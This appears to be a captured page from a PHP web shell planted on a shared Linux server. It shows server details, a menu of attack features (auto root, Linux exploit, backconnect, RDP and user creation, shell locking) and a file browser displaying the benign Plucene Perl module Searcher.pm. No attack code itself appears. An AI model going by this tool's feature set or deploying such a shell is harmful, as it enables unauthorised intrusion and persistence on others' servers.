Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Plucene /
Search /
[ HOME SHELL ]
Name
Size
Permission
Action
PhraseScorer
[ DIR ]
drwxr-xr-x
BooleanClause.pm
385
B
-rw-r--r--
BooleanQuery.pm
4.24
KB
-rw-r--r--
BooleanScorer.pm
3.93
KB
-rw-r--r--
DateFilter.pm
2.08
KB
-rw-r--r--
Filter.pm
1.13
KB
-rw-r--r--
HitCollector.pm
1.19
KB
-rw-r--r--
Hits.pm
2.39
KB
-rw-r--r--
IndexSearcher.pm
3.35
KB
-rw-r--r--
PhrasePositions.pm
1.37
KB
-rw-r--r--
PhraseQuery.pm
3.21
KB
-rw-r--r--
PhraseScorer.pm
2
KB
-rw-r--r--
PrefixQuery.pm
1.81
KB
-rw-r--r--
Query.pm
2.12
KB
-rw-r--r--
Scorer.pm
663
B
-rw-r--r--
Searcher.pm
1.94
KB
-rw-r--r--
Similarity.pm
1.06
KB
-rw-r--r--
TermQuery.pm
2.46
KB
-rw-r--r--
TermScorer.pm
1.67
KB
-rw-r--r--
TopDocs.pm
701
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Searcher.pm
package Plucene::Search::Searcher; =head1 NAME Plucene::Search::Searcher - base class for searchers =head1 DESCRIPTION Abstract base class for searchers. Searching is the operation of locating a subset of the documents that contains desired content or that their attributes match some specification. The input for a search operation is a 'query' that specifies a criteria for selecting the documents and its output is a list of documents ('hits') that matched that criteria. The hit list is typically ordered by some measure of relevancy (called 'ranking' or 'scoring') and may contain only a subset of the set of documents that matched the query (typically the ones with the highest scored documents). The search operation is performed on an 'index' which is a specialized database that contains a pre compiled information of the document set. The index database is optimized for locating quickly documents that contains certain words or terms. =head1 METHODS =cut use strict; use warnings; use Plucene::Search::Hits; =head2 doc_freq / max_doc / doc / _search_hc search_top These must be defined in a subclas =cut sub doc_freq { die "doc_freq must be defined in a subclass" } sub max_doc { die "max_doc must be defined in a subclass" } sub doc { die "doc must be defined in a subclass" } sub _search_hc { die "_search_hc must be defined in a subclass" } sub search_top { die "search_top must be defined in a subclass" } =head2 search my Plucene::Search::Hits $hits = $searcher->new($query, $filter); This will return the Plucene::Search::Hits object for the passed in query and filter. At this stage, filter is optional. =cut sub search { my ($self, $query, $filter) = @_; # $filter may be undefined, that's OK return Plucene::Search::Hits->new({ searcher => $self, query => $query, filter => $filter }); } =head2 search_hc =cut sub search_hc { my ($self, $query, $hc) = @_; $self->_search_hc($query, undef, $hc); } 1;
Close